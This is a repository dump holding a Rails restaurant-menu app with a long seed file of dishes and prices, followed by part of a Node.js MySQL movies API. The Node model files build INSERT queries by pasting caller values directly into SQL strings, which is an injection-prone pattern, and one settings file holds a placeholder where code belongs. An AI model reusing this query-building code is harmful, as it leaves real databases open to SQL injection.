{"_id"=>BSON::ObjectId('4e8684e09b8fcb74e8308990'), "owner"=>"114ded8b", "bid"=>"42cdb6dc", "data"=>"72093d690674ae7c44602f91b262b8116cba5e24"}
~~~
| f4efa0e4d3f187405023f65945a5b413fc86b4e4 | [
"Markdown",
"Ruby",
"HTML",
"Shell"
] | 15 | Markdown | zed-0xff/lobotomy | 2ed0729b01469af2ca20acbe20e3b0f31ed32d41 | 27596b684d2aa88b67c0eabc43a757c15e4ab232 |
refs/heads/master | <repo_name>ObiruLabs/seafordchengs<file_sep>/app/models/category.rb
class Category < ActiveRecord::Base
has_many :items, dependent: :delete_all
end
<file_sep>/app/admin/item.rb
ActiveAdmin.register Item do
permit_params :name, :description, :ordinal, :hot, :featured, :category_id
index do
column('Category') { |item| item.category.name }
column :name
column :description
column :ordinal
column :hot
column :featured
actions
end
end
<file_sep>/app/models/item.rb
class Item < ActiveRecord::Base
belongs_to :category
has_many :costs, dependent: :delete_all
has_many :sizes, through: :costs, dependent: :delete_all
end
<file_sep>/app/models/cost.rb
class Cost < ActiveRecord::Base
belongs_to :item
belongs_to :size
end
<file_sep>/README.md
<NAME>
=============
Prerequesites
-------------
Ruby 2.1.2 - To install with rvm
```
rvm install 2.1.2
rvm use 2.1.2
```
Use a new gemset for the project and install bundler
```
rvm gemset create seafordchengs
rvm gemset use seafordchengs
gem install bundler
```
Installation
------------
Clone the repo and install dependencies
```
git clone https://github.com/ObiruLabs/seafordchengs.git
bundle install
```
Setup the database
```
bundle exec rake db:create
bundle exec rake db:migrate
bundle exec rake db:seed
```
Run the server
```
bundle exec rails s
```
<file_sep>/app/models/size.rb
class Size < ActiveRecord::Base
has_many :costs
has_many :items, through: :costs
end
<file_sep>/app/admin/cost.rb
ActiveAdmin.register Cost do
permit_params :amount, :item_id, :size_id
index do
column('Category') { |cost| cost.item.category.name }
column('Item') { |cost| cost.item.name }
column('Size') { |cost| cost.size.name }
column('Amount') { |cost| "$#{number_with_precision(cost.amount, precision: 2)}" }
actions
end
end
<file_sep>/db/seeds.rb
Category.destroy_all
Size.destroy_all
Item.destroy_all
Cost.destroy_all
small = Size.create(name: 'Small')
large = Size.create(name: 'Large')
order = Size.create(name: 'Order')
pint = Size.create(name: 'Pint')
quart = Size.create(name: 'Quart')
appetizers = Category.create(name: 'Appetizers', ordinal: 1)
soups = Category.create(name: 'Soup', ordinal: 2, description: 'w. Crispy Noodles')
fried_rice = Category.create(name: 'Fried Rice', ordinal: 3)
chow_mein = Category.create(name: 'Chow Mein or Chop Suey', ordinal: 4, description: 'served w. Crispy Noodles & White Rice')
chow_fun = Category.create(name: 'Chow Fun or Chow Mai Fun', ordinal: 5, description: 'Soft Rice Noodle')
lo_mein = Category.create(name: 'Lo Mein', ordinal: 6, description: 'Soft Noodle')
side_orders = Category.create(name: 'Side Orders', ordinal: 7)
egg_foo_young = Category.create(name: 'Egg Foo Young', ordinal: 8, description: 'w. White Rice')
sweet_sour = Category.create(name: 'Sweet & Sour', ordinal: 9, description: 'w. White Rice')
beef = Category.create(name: 'Beef', ordinal: 10, description: 'w. White Rice')
pork = Category.create(name: 'Pork', ordinal: 11, description: 'w. White Rice')
chicken = Category.create(name: 'Chicken', ordinal: 12, description: 'w. White Rice')
seafood = Category.create(name: 'Seafood', ordinal: 13, description: 'w. White Rice')
moo_shu = Category.create(name: 'Moo Shu', ordinal: 14, description: 'w. 5 Pancakes & Rice')
vegetables = Category.create(name: 'Vegetables', ordinal: 15, description: 'w. White Rice')
health_food_selection = Category.create(name: 'Health Food Selection', ordinal: 16, description: 'Low Calories, Steamed w. White Rice, Sauce on Side')
combination_platters = Category.create(name: 'Combination Platters', ordinal: 17, description: 'Served w. an Egg Rol & Fried Rice')
house_specialties = Category.create(name: 'House Specialties', ordinal: 18, description: 'w. White Rice')
lunch_special = Category.create(name: 'Lunch Special', ordinal: 19)
specialties = Category.create(name: 'Our Specialties', ordinal: 20)
def item(group, ordinal, name, amount, size, sub_ordinal = 0)
item = group.items.create(name: name, ordinal: ordinal, sub_ordinal: sub_ordinal)
cost(item, amount, size)
item
end
def itemh(group, ordinal, name, amount, size, sub_ordinal = 0)
item = item(group, ordinal, name, amount, size, sub_ordinal)
hot(item)
item
end
def itempq(group, ordinal, name, pint, quart, sub_ordinal = 0)
item = group.items.create(name: name, ordinal: ordinal, sub_ordinal: sub_ordinal)
cost(item, pint, Size.find_by_name('Pint'))
cost(item, quart, Size.find_by_name('Quart'))
item
end
def itemq(group, ordinal, name, quart, sub_ordinal = 0)
item = group.items.create(name: name, ordinal: ordinal, sub_ordinal: sub_ordinal)
cost(item, quart, Size.find_by_name('Quart'))
item
end
def itemo(group, ordinal, name, amount, sub_ordinal = 0)
item = group.items.create(name: name, ordinal: ordinal, sub_ordinal: sub_ordinal)
cost(item, amount, Size.find_by_name('Order'))
item
end
def itemoh(group, ordinal, name, amount, sub_ordinal = 0)
item = group.items.create(name: name, ordinal: ordinal, sub_ordinal: sub_ordinal)
cost(item, amount, Size.find_by_name('Order'))
hot(item)
item
end
def hot(item)
item.hot = true
item.save
end
def description(item, description)
item.description = description
item.save
end
def cost(item, amount, size)
item.costs.create(amount: amount, size: size)
end
item(appetizers, 1, 'Egg Roll', 1.3, order)
item(appetizers, 2, 'Shrimp Roll', 1.35, order)
item(appetizers, 3, 'Spring Roll', 2.95, order)
item(appetizers, 4, 'Dumplings', 5.8, order)
item(appetizers, 5, 'Cold Sesame Noodles', 4.4, order)
item(appetizers, 6, 'Shrimp Toast', 3.95, order)
item(appetizers, 7, 'Chicken Wings', 5.4, order)
item(appetizers, 7, 'Half Chicken', 4.95, order, 1)
item(appetizers, 8, 'Fantail Shrimps', 5.05, order)
item(appetizers, 9, 'Steak on Sticks', 6.4, order)
item(appetizers, 9, 'Chicken on Sticks', 6.4, order, 1)
item(appetizers, 10, 'Roast Pork Slices or Ends', 7.10, order)
item(appetizers, 11, 'Fried or Steamed Wontons', 4.19, order)
item = item(appetizers, 12, 'Bar-B-Q Spare Ribs', 6.99, small)
cost(item, 12.10, large)
item(appetizers, 13, 'Pu Pu Platter', 11.15, order)
item = item(appetizers, 14, 'Boneless Ribs', 6.99, small)
cost(item, 12.10, large)
item = item(appetizers, 15, 'Pan Fried Wontons', 4.6, order)
hot(item)
description(item, 'w. Szechuan Sauce')
item(appetizers, 15, 'Scallion Pancake', 3.49, order, 1)
item = item(appetizers, 15, 'Chicken Dumplings', 5.8, order, 2)
description(item, 'Fried or Steamed')
item(appetizers, 16, 'Crab Rangoon', 4.9, order)
item(appetizers, 16, 'Dim Sum', 4.85, order, 1)
item = item(appetizers, 16, 'Vegetable Dumplings', 5.5, order, 2)
description(item, 'Fried or Steamed')
item(appetizers, 16, 'Shrimp Dumplings', 4.99, order, 3)
item(appetizers, 16, 'Pork Bun', 3.55, order, 4)
item(appetizers, 16, 'Thai Sweet Chili Wings', 5.9, order, 5)
item = item(soups, 17, 'Roast Pork Wonton Soup', 1.95, pint)
cost(item, 3.4, quart)
item = item(soups, 18, 'Egg Drop Soup', 1.9, pint)
cost(item, 3, quart)
item = item(soups, 19, 'Wonton w. Egg Drop', 2.25, pint)
cost(item, 3.9, quart)
item = item(soups, 20, 'Chicken Rice or Noodle', 2.2, pint)
cost(item, 3.5, quart)
item = item(soups, 21, 'Chinese Vegetable Soup', 2.05, pint)
cost(item, 3.5, quart)
item = item(soups, 22, 'Hot & Sour Soup', 2.45, pint)
cost(item, 4.35, quart)
hot(item)
item(soups, 23, 'House Special Soup w. Wonton', 6, quart)
item(soups, 24, 'Roast Pork or Chicken Yat Gaw Mein', 5, quart)
item(soups, 25, 'House Speical Yat Gaw Mein', 6, quart)
item(soups, 26, 'Seafood Soup', 7, quart)
itempq(fried_rice, 27, 'Roast Pork Fried Rice', 3.85, 6.95)
itempq(fried_rice, 28, 'Chicken Fried Rice', 3.85, 6.95)
itempq(fried_rice, 29, 'Shrimp Fried Rice', 4.5, 7.8)
itempq(fried_rice, 30, 'Beef Fried Rice', 4.5, 7.8)
itempq(fried_rice, 31, 'Vegetable Fried Rice', 3.5, 6.2)
itempq(fried_rice, 32, 'House Special Fried Rice', 4.5, 7.85)
itempq(fried_rice, 33, 'Young Chow Fried Rice', 4.5, 7.85)
itempq(chow_mein, 34, 'Chicken Chow Mein', 4.8, 7.6)
itempq(chow_mein, 35, 'Shrimp Chow Mein', 5.05, 7.15)
itempq(chow_mein, 36, 'Beef Chow Mein', 5.05, 7.95)
itempq(chow_mein, 37, 'Roast Pork Chow Mein', 4.8, 7.4)
itempq(chow_mein, 38, 'Vegetable Chow Mein', 4.55, 6.65)
itempq(chow_mein, 39, 'House Special Chow Mein', 5.25, 8.45)
item(chow_fun, 40, 'Roast Pork Chow Fun or Chai Mai Fun', 7.95, order)
item(chow_fun, 41, 'Chicken Chow Fun or Chai Mai Fun', 8.15, order)
item(chow_fun, 42, 'Shrimp Chow Fun or Chai Mai Fun', 8.4, order)
item(chow_fun, 43, 'Beef Chow Fun or Chai Mai Fun', 8.4, order)
item(chow_fun, 44, 'Vegetable Chow Fun or Chai Mai Fun', 7.65, order)
item(chow_fun, 45, 'House Special Chow Fun or Chai Mai Fun', 8.85, order)
itemh(chow_fun, 46, 'Singapore Chow Mei Fun', 8.85, order)
itemh(chow_fun, 46, 'Pad Thai Chicken or Shrimp', 8.95, order, 1)
itempq(lo_mein, 47, 'Roast Pork Lo Mein', 4.6, 7.35)
itempq(lo_mein, 48, 'Chicken Lo Mein', 4.6, 7.6)
itempq(lo_mein, 49, 'Shrimp Lo Mein', 4.95, 8.15)
itempq(lo_mein, 50, 'Beef Lo Mein', 4.95, 8.15)
itempq(lo_mein, 51, 'Vegetable Lo Mein', 4.15, 6.25)
itempq(lo_mein, 52, 'House Special Lo Mein', 5.35, 8.55)
item(side_orders, 1, 'Fortune Cookies', 1.35, order)
item(side_orders, 2, 'Almond Cookies', 1.45, order)
itempq(side_orders, 3, 'White Rice', 1.5, 2.6)
item(side_orders, 4, 'Crispy Noodle', 0.65, order)
itempq(side_orders, 5, 'Brown Rice', 1.9, 3.4)
itemq(egg_foo_young, 53, 'Roast Pork Egg Foo Young', 7.25)
itemq(egg_foo_young, 54, 'Chicken Egg Foo Young', 7.25)
itemq(egg_foo_young, 55, 'Shrimp Egg Foo Young', 7.85)
itemq(egg_foo_young, 56, 'Vegetable Egg Foo Young', 7)
itemq(egg_foo_young, 57, 'Beef Egg Foo Young', 7.85)
itemq(egg_foo_young, 57, 'Mushroom Egg Foo Young', 7.1, 1)
itempq(sweet_sour, 58, 'Sweet & Sour Pork', 4.7, 7.99)
itempq(sweet_sour, 59, 'Sweet & Sour Chicken', 4.7, 7.99)
itempq(sweet_sour, 60, 'Sweet & Sour Shrimp', 5.25, 8.75)
itemq(sweet_sour, 61, 'Sweet & Sour Combo', 9.35)
itempq(beef, 62, 'Beef w. Bean Sprouts', 5.9, 9.8)
itempq(beef, 63, 'Pepper Steak w. Onion', 5.9, 9.8)
itempq(beef, 64, 'Pepper Steak w. Tomato', 5.9, 9.8)
itempq(beef, 65, 'Beef w. Mushrooms', 5.9, 9.8)
itempq(beef, 66, 'Beef w. Chinese Vegetable', 5.9, 9.8)
itempq(beef, 67, 'Beef w. Oyster Sauce', 5.9, 9.8)
itempq(beef, 68, 'Beef w. Black Bean Sauce', 5.9, 9.8)
item = itempq(beef, 69, 'Curry Beef', 5.9, 9.8)
hot(item)
itempq(beef, 70, 'Beef w. Broccoli', 5.9, 9.8)
itempq(beef, 70, 'Beef w. Mixed Vegetables', 5.9, 9.8)
itempq(beef, 71, 'Beef w. Snow Pea Pods', 5.9, 9.8)
itempq(beef, 72, 'Beef w. String Beans', 5.9, 9.8)
item = itempq(beef, 73, 'Beef w. Eggplant in Garlic Sauce', 5.9, 9.8)
hot(item)
itemh(beef, 74, 'Hunan Beef', 9.8, quart)
itemh(beef, 75, 'Beef w. Szechuan Sauce', 9.8, quart)
itemh(beef, 76, 'Hot & Spicy Shredded Beef', 9.8, quart)
itemh(beef, 77, 'Beef w. Garlic Sauce', 9.8, quart)
itempq(pork, 78, 'Roast Prok w. Mixed Vegetables', 5.35, 9.1)
itempq(pork, 79, 'Roast Prok w. Mushrooms', 5.35, 9.1)
itempq(pork, 80, 'Roast Prok w. Black Bean Sauce', 5.35, 9.1)
itempq(pork, 81, 'Roast Prok w. Oyster Sauce', 5.35, 9.1)
itempq(pork, 82, 'Roast Prok w. Ban Sprouts', 5.35, 9.1)
itempq(pork, 83, 'Roast Prok w. Snow Pea Pods', 5.35, 9.1)
itempq(pork, 84, 'Roast Prok w. Broccoli', 5.35, 9.1)
itempq(pork, 85, 'Roast Prok w. StringBeans', 5.35, 9.1)
item = itempq(pork, 86, 'Roast Prok w. Eggplant in Garlic Sauce', 5.35, 9.1)
hot(item)
itemh(pork, 87, 'Hunan Pork', 9.1, quart)
itemh(pork, 88, 'Pork w. Szechuan Sauce', 9.1, quart)
itemh(pork, 89, 'Pork w. Garlic Sauce', 9.1, quart)
itemh(pork, 90, 'Hot & Spicy Shredded Pork', 9.1, quart)
itempq(chicken, 91, 'Chicken w. Mixed Vegetables', 5.7, 9.25)
itempq(chicken, 92, 'Chicken Almond', 5.7, 9.25)
itempq(chicken, 93, 'Chicken w. Black Bean Sauce', 5.7, 9.25)
item = itempq(chicken, 94, 'Curry Chicken', 5.7, 9.25)
hot(item)
itempq(chicken, 95, 'Chicken w. Bean Sprouts', 5.7, 9.25)
itempq(chicken, 96, 'Chicken w. Broccoli', 5.7, 9.25)
itempq(chicken, 97, 'Chicken w. Cashew Nuts', 5.7, 9.25)
itempq(chicken, 98, 'Chicken w. String Beans', 5.7, 9.25)
item = itempq(chicken, 99, 'Chicken w. Eggplant in Garlic Sauce', 5.7, 9.25)
hot(item)
itempq(chicken, 100, 'Chicken w. Snow Peas', 5.7, 9.25)
itempq(chicken, 101, 'Moo Goo Gai Pan', 5.7, 9.25)
itemh(chicken, 102, 'Hunan Chicken', 9.25, quart)
itemh(chicken, 103, 'Chicken w. Szechuan Sauce', 9.25, quart)
itemh(chicken, 104, 'Kung Bo Chicken', 9.25, quart)
itemh(chicken, 105, 'Chicken w. Garlic Sauce', 9.25, quart)
itemh(chicken, 106, 'Hot & Spicy Shredded Chicken', 9.25, quart)
itempq(seafood, 107, 'Shrimp w. Lobster Sauce', 6.15, 10.25)
itempq(seafood, 108, 'Shrimp w. Mushrooms', 6.15, 10.25)
itempq(seafood, 109, 'Shrimp w. Mixed Vegetables', 6.15, 10.25)
itempq(seafood, 110, 'Shrimp w. Bean Sprouts', 6.15, 10.25)
itempq(seafood, 111, 'Shrimp w. Black Bean Sauce', 6.15, 10.25)
item = itempq(seafood, 112, 'Curry Shrimp', 6.15, 10.25)
hot(item)
itempq(seafood, 113, 'Shrimp w. Broccoli', 6.15, 10.25)
itempq(seafood, 114, 'Shrimp w. Eggplant in Garlic Sauce', 6.15, 10.25)
itempq(seafood, 115, 'Shrimp w. Snow Pea Pods', 6.15, 10.25)
itempq(seafood, 116, 'Shrimp w. Almond Ding', 6.15, 10.25)
itempq(seafood, 117, 'Shrimp w. Chinese Vegetable', 6.15, 10.25)
itemh(seafood, 119, 'Hunan Shrimp', 10.25, quart)
itemh(seafood, 120, 'Shrimp w. Garlic Sauce', 10.25, quart)
itemh(seafood, 121, 'Shrimp w. Szechuan Sauce', 10.25, quart)
itemh(seafood, 122, 'Shrimp & Scallops w. Garlic Sauce', 10.25, quart)
itemq(seafood, 123, 'Butterfly Shrimp', 10.25)
itemq(seafood, 123, 'Shrimp w. String Beans', 10.25, 1)
itemq(seafood, 123, 'Shrimp w. Cashew Nuts', 10.25, 2)
itemo(moo_shu, 124, 'Moo Shu Pork or Chicken', 8.4)
itemo(moo_shu, 125, 'Moo Shu Shrimp or Beef', 8.85)
itemo(moo_shu, 126, 'Moo Shu Vegetable', 7.9)
itemo(vegetables, 127, 'Sauteed Broccoli', 7.25)
itemo(vegetables, 128, 'Mixed Chinese Vegetables', 7.25)
itemo(vegetables, 129, 'Sauteed Snow Peas', 7.25)
itemo(vegetables, 130, 'Buddhist Delight', 7.25)
itemo(vegetables, 131, 'Sauteed String Beans', 7.25)
item = itemo(vegetables, 132, 'Broccoli w. Garlic Sauce', 7.25)
hot(item)
item = itemo(vegetables, 133, 'Mixed Vegetables w. Garlic Sauce', 7.25)
hot(item)
item = itemo(vegetables, 133, 'Szechuan Bean Cake', 7.25, 1)
hot(item)
itemo(vegetables, 133, 'Bean Cake w. Oyster Sauce', 7.25, 2)
item = itemo(vegetables, 134, 'String Bean w. Garlic Sauce', 7.25)
hot(item)
item = itemo(vegetables, 135, 'Chinese Eggplant w. Garlic Sauce', 7.25)
hot(item)
itemo(health_food_selection, 136, 'Steamed Mixed Vegetables w. Shrimp', 10.25)
itemo(health_food_selection, 137, 'Steamed Mixed Vegetables w. Chicken', 9.25)
itemo(health_food_selection, 138, 'Steamed Beef w. Broccoli', 9.8)
itemo(health_food_selection, 139, 'Steamed Chicken w. Broccoli', 9.25)
itemo(health_food_selection, 140, 'Steamed Mixed Vegetables', 7.25)
itemo(health_food_selection, 141, 'Steamed String Beans', 7.25)
itemo(health_food_selection, 142, 'Steamed Broccoli', 7.25)
itemo(health_food_selection, 143, 'Steamed Chicken w. String Beans', 9.25)
itemo(combination_platters, 1, 'Chicken or Roast Pork Chown Mein', 7.7)
itemo(combination_platters, 2, 'Shrimp or Beef Chow Mein', 7.9)
itemo(combination_platters, 3, 'Pork or Chicken Lo Mein', 7.7)
itemo(combination_platters, 4, 'Shrimp or Beef Lo Mein', 7.9)
itemo(combination_platters, 5, 'Chicken or Roast Pork Egg Foo Young', 7.6)
itemo(combination_platters, 6, 'Pepper Steak w. Onoin', 8.05)
itemo(combination_platters, 7, 'Roast Pork w. Mixed Vegetables', 7.8)
itemo(combination_platters, 8, 'Sweet & Sour Pork or Chicken', 7.6)
itemo(combination_platters, 9, 'Bar-B-Q Spare Ribs or Boneless Ribs', 8.6)
itemo(combination_platters, 10, 'Shrimp w. Lobster Sauce', 8.4)
itemo(combination_platters, 11, 'Beef w. Mushrooms', 8.4)
itemo(combination_platters, 12, 'Beef or Chicken w. Broccoli', 8.15)
item = itemo(combination_platters, 13, 'Gong Bo Gai Ding (Chicken)', 8.15)
hot(item)
item = itemo(combination_platters, 14, 'Shrimp, Beef or Chicken w. Garlic Sauce', 8.4)
hot(item)
itemo(combination_platters, 15, 'Sesame Chicken', 8.5)
item = itemo(combination_platters, 16, 'General Tso\'s Chicken', 8.5)
hot(item)
itemo(combination_platters, 17, 'Shrimp or Beef w. Mixed Vegetables', 8.4)
itemo(combination_platters, 18, 'Chicken w. Mixed Vegetable', 8.15)
itemo(combination_platters, 19, 'Moo Goo Gai Pan', 8.15)
itemo(combination_platters, 20, 'Chicken w. String Beans', 8.15)
itemo(combination_platters, 21, 'Mixed Vegetables', 7.4)
itemo(combination_platters, 22, 'Shrimp w. Broccoli', 8.4)
itemo(house_specialties, 1, 'Sesame Chicken', 9.29)
item = itemo(house_specialties, 2, 'General Tso\'s Chicken', 9.29)
hot(item)
itemo(house_specialties, 2, 'General Tso\'s To Fu', 8.29, 1)
hot(item)
itemo(house_specialties, 2, 'Sesame To Fu', 8.29, 2)
item = itemo(house_specialties, 3, 'Four Seasons', 10.45)
description(item, 'Beef, roast prok, chicken, jumbo shrimp & mixed Chinese vegetables in brown sauce')
item = itemo(house_specialties, 4, 'Happy Family', 11.5)
description(item, 'Lobster meat, pork, chicken, shrimp, beef & mixed Chinese vegetables in brown sauce')
item = itemo(house_specialties, 5, 'Seafood Combination', 11.95)
description(item, 'Fresh jumbo shrimps, scallops, crab meat all sauteed w. lobster meat, mushroom, baby corn, carrots, Chinese vegetable, snow peas in white wine sauce')
item = itemo(house_specialties, 6, 'House Special Pan Fried Noodles', 11.3)
description(item, 'Jumbo shrimp, chicken, beef & pork w. mixed vegetables over pan fried noodles')
item = itemo(house_specialties, 7, 'Crispy Orange Flavor Beef or Chicken', 10.4)
hot(item)
item = itemo(house_specialties, 8, 'Lover\'s Nest', 11.95)
description(item, 'Lobster meat, jumbo shrimp, sea scallops, crab meat, sauteed w. vegetables in a delicious white sauce. Served in a nest made w. Chinese taro')
item = itemo(house_specialties, 9, 'Hot & Spicy Scallops', 10.95)
hot(item)
itemo(house_specialties, 10, 'Triple Delights', 10.45)
description(item, 'Jumbo shrimp, chicken, roast pork w. broccoli, Chinese vegetables, snow peas, baby corn, water-chestnuts & straw mushrooms')
item = itemo(house_specialties, 11, 'Seafood w. Garlic Sauce', 11.95)
description(item, 'Lobster meat, shrimp, scallops, crab stick w. mixed vegetables in fresh garlic sauce')
hot(item)
item = itemo(house_specialties, 12, 'Roast Duck', 13.4)
description(item, 'Roast Peking Duck served w. pancakes along w. scallion brushes & hoisin sauce')
item = itemo(house_specialties, 13, 'Hunan Chicken & Shrimp', 10.75)
description(item, 'Sliced chicken & shrimp w. vegetable delightful in spicy sauce')
hot(item)
item = itemo(house_specialties, 14, 'Hunan Beef & Shrimp', 10.75)
hot(item)
item = itemo(house_specialties, 15, 'Dragon & Phoenix', 11.25)
description(item, 'Two dishes in one jumbo shrimp sauteed in a spicy garlic sauce balanced w. General Tso\'s chicken on the other side')
hot(item)
itemo(house_specialties, 16, 'Boneless Chicken w. Vegetable', 9.45)
itemo(house_specialties, 17, 'Lemon Chicken', 9.45)
item = itemo(house_specialties, 18, 'Subgum Wonton', 10.85)
description(item, 'King crab meat, sliced chicken, roast pork, shrimp, imported straw mushrooms, bamboo shoots, water-chestnuts & Chinese vegetable, baby corn served w. crispy wonton')
item = itemo(house_specialties, 19, 'Szechuan Seafood Plates', 11.95)
description(item, 'Lobster meat, jumbo shrimp, scallops, crab stick w. mixed vegetables in Szechuan hot peeper sauce')
hot(item)
item = itemo(house_specialties, 20, 'Hunan Combination', 11.4)
description(item, 'Sliced beef, scallops & shrimps w. broccoli, bamboo shoots & waterchestnuts')
hot(item)
itemo(house_specialties, 21, 'Honey Shrimp', 10.3)
item = itemo(house_specialties, 22, 'Sa-Cha Beef or Chicken', 9.3)
description(item, 'Beef or chicken w. red & green pepper, baby corn, snow peas, mushrooms sa-cha & kung bo sauce')
item = itemo(house_specialties, 23, 'Beef w. Scallions', 10.25)
hot(item)
item = itemo(house_specialties, 24, 'Double Delight (Shrimp & Chicken)', 10.3)
hot(item)
item = itemo(house_specialties, 25, 'Hot & Spicy Shrimp', 10.35)
hot(item)
item = itemo(house_specialties, 26, 'White Meat General Tao\'s Chicken or Sesame Chicken', 9.8)
hot(item)
itemo(lunch_special, 1, 'Chow Mein (Chicken or Pork)', 6.19)
itemo(lunch_special, 2, 'Shrimp Chow Mein', 6.19)
itemo(lunch_special, 3, 'Lo Mein (Chicken or Pork)', 6.19)
itemo(lunch_special, 4, 'Shrimp or Beef Lo Mein', 6.19)
itemo(lunch_special, 5, 'Egg Foo Young (Chicken or Pork)', 6.19)
itemo(lunch_special, 6, 'Shrimp or Beef Egg Foo Young', 6.19)
itemo(lunch_special, 7, 'Pepper Steak or Chicken', 6.29)
itemo(lunch_special, 8, 'Pork or Chicken or Beef w. Broccoli', 6.29)
itemo(lunch_special, 9, 'Shrimp w. Broccoli or String Beans', 6.29)
itemo(lunch_special, 10, 'Sweet & Sour Chicken or Pork', 6.19)
itemo(lunch_special, 11, 'Pork or Chicken or Beef or Shrimp w. Mixed Vegetables', 6.29)
itemo(lunch_special, 12, 'Pork or Chicken or Beef w. String Beans', 6.29)
itemo(lunch_special, 13, 'Pork or Chicken or Beef or Shrimp w. Black Bean Sauce', 6.29)
itemo(lunch_special, 14, 'Chicken or Shrimp w. Cashew Nuts', 6.29)
itemoh(lunch_special, 15, 'Broccoli w. Garlic Sauce', 5.9)
itemoh(lunch_special, 16, 'Hot & Spicy Pork or Chicken or Beef or Shrimp', 6.29)
itemoh(lunch_special, 17, 'Pork or Chicken or Beef or Shrimp w. Garlic Sauce', 6.29)
itemoh(lunch_special, 18, 'General Tso\'s Chicken', 6.5)
itemo(lunch_special, 19, 'Sesame Chicken', 6.5)
itemo(lunch_special, 20, 'Chicken Wings', 6.85)
itemo(lunch_special, 21, 'Roast Prok Ends or Slices', 6.59)
itemo(lunch_special, 22, 'B-B-Q Ribs or Boneless Ribs', 6.59)
itemo(lunch_special, 23, 'Sauteed Mixed Vegetable', 5.9)
itemo(lunch_special, 24, 'Shrimp w. Lobster Sauce', 6.25)
itemo(lunch_special, 25, 'Bean Sprouts (Chicken or Pork or Beef)', 6.19)
itemo(lunch_special, 26, 'Shrimp w. Bean Sprouts', 6.19)
itemo(lunch_special, 27, 'Pork, Chicken, Beef or Shrimp Sauteed w. Bean Cakes', 6.19)
itemoh(lunch_special, 28, 'Hunan Beef or Chicken or Shrimp', 6.29)
itemoh(lunch_special, 29, 'Chicken or Shrimp or Beef in Szechuan Sauce', 6.29)
itemoh(lunch_special, 30, 'Chicken w. Eggplant w. Garlic Sauce', 6.29)
itemo(lunch_special, 31, 'Moo Goo Gai Pan', 6.29)
itemo(specialties, 1, 'Plain Chicken Wings', 4.4)
itemo(specialties, 2, 'Plain Chicken Wings with Plain Fried Rice and French Fries', 5.9)
itemo(specialties, 3, 'Plain Chicken Wings with Pork or Chicken Fried Rice', 5.95)
itemo(specialties, 4, 'Plain Chicken Wings with Beef or Shrimp Fried Rice', 6.95)
itemo(specialties, 5, 'Plain Half Chicken', 4.95)
itemo(specialties, 6, 'Plain Half Chicken with Plain Fried Rice and French Fries', 6.3)
itemo(specialties, 7, 'Plain Half Chicken with Pork or Chicken Fried Rice', 6.55)
itemo(specialties, 8, 'Plain Half Chicken with Beef or Shrimp Fried Rice', 7.6)
itemo(specialties, 9, 'French Fries', 3.55)
<file_sep>/app/admin/category.rb
ActiveAdmin.register Category do
permit_params :name, :ordinal, :description
index do
column :name
column :ordinal
column :description
actions
end
end
| 457f59cf0be91fef5151393c6d334dc062877a34 | [
"Markdown",
"Ruby"
] | 9 | Ruby | ObiruLabs/seafordchengs | a5ccb39e025f6812a975a06331ee2e2032da4594 | b135bd8f048f1f49e476092e05c11bf332e4323e |
refs/heads/master | <repo_name>NicoleTobal/api-rest-peliculas<file_sep>/models/movies/actorsModel.js
const { getConnection } = require("../database");
const { formatArrayToSqlArray, deleteQuery } = require("../utils");
const insertActor = (nameActor, surname, movieId, cb) => {
query = "INSERT INTO Actors (nameActor, surname, movieId) VALUES ('" + nameActor + "', '" + surname + "', '" + movieId + "')"
getConnection().query(query, function (error) {
if (error) throw error;
cb();
});
}
const selectActors = (moviesId, cb) => {
const inClause = formatArrayToSqlArray(moviesId);
const query = 'SELECT * FROM Actors WHERE movieId IN ' + inClause;
getConnection().query(query, function (error, results) {
if (error) throw error;
cb(results);
});
}
const deleteActors = (movieId, cb) => {
getConnection().query(deleteQuery('Actors', 'movieId', movieId), function (error) {
if (error) throw error;
cb();
});
}
module.exports = {
insertActor,
selectActors,
deleteActors
}<file_sep>/models/movies/movieModel.js
const { getConnection } = require("../database");
const { selectQuery, updateQuery, deleteQuery } = require("../utils");
const insertMovie = (nameMovie, releaseDate, country, director, cb) => {
query = "INSERT INTO Movies (nameMovie, releaseDate, country, director) VALUES ('" + nameMovie + "', '" + releaseDate + "', '" + country + "', '" + director + "')"
getConnection().query(query, function (error, results) {
if (error) throw error;
cb(results.insertId);
});
}
const selectMovies = (params, cb) => {
getConnection().query(selectQuery(params, 'Movies', 'nameMovie', 'nameMovie'), function (error, results) {
if (error) throw error;
cb(results);
});
}
const deleteMovie = (movieId, cb) => {
getConnection().query(deleteQuery('Movies', 'movieId', movieId), function (error) {
if (error) throw error;
cb();
});
}
const updateMovie = (movieId, newData, cb) => {
if (Object.keys(newData).length === 0) {
cb();
return;
}
getConnection().query(updateQuery('Movies', 'movieId', movieId, newData), function (error) {
if (error) throw error;
cb();
});
}
module.exports = {
insertMovie,
selectMovies,
updateMovie,
deleteMovie
}<file_sep>/settings/settings.js
const getSettings = () => {
const settings = require("./development.json");
settings.databaseData.password = <PASSWORD>;
return settings;
}
module.exports = {
settings: getSettings()
}<file_sep>/models/database.js
const mysql = require('mysql');
const { settings } = require('../settings/settings');
let connection = null;
const initializeConnection = () => {
connection = mysql.createConnection(settings.databaseData);
connection.connect();
}
const closeConnection = () => {
connection.end();
}
const getConnection = () => {
return connection;
};
module.exports = {
getConnection,
initializeConnection,
closeConnection
}<file_sep>/database_script.sql
DROP DATABASE movies_db;
CREATE DATABASE movies_db;
USE movies_db;
CREATE TABLE Movies (
movieId int NOT NULL AUTO_INCREMENT,
nameMovie varchar(255) NOT NULL,
releaseDate datetime,
country varchar(255) NOT NULL,
director varchar(255) NOT NULL,
PRIMARY KEY (movieId),
UNIQUE (nameMovie)
);
CREATE TABLE Actors (
actorId int NOT NULL AUTO_INCREMENT,
nameActor varchar(255) NOT NULL,
surname varchar(255) NOT NULL,
movieId int,
PRIMARY KEY (actorId),
FOREIGN KEY (movieId) REFERENCES Movies(movieId),
UNIQUE (nameActor, surname)
);
INSERT INTO Movies (nameMovie, releaseDate, country, director) VALUES ("Avengers EndGame", '2019-04-25 00:00:00.000', "Estados Unidos", "<NAME>");
INSERT INTO Movies (nameMovie, releaseDate, country, director) VALUES ("El Secreto de sus Ojos", '2009-08-13 00:00:00.000', "Argentina", "<NAME>");
INSERT INTO Movies (nameMovie, releaseDate, country, director) VALUES ("Contratiempo", '2017-02-23 00:00:00.000', "España", "Oriol Paulo");
INSERT INTO Movies (nameMovie, releaseDate, country, director) VALUES ("El Club de la Pelea", '1999-11-04 00:00:00.000', "Estados Unidos", "<NAME>");
INSERT INTO Actors (nameActor, surname, movieId) VALUES ("Scarlett", "Johansson", "1");
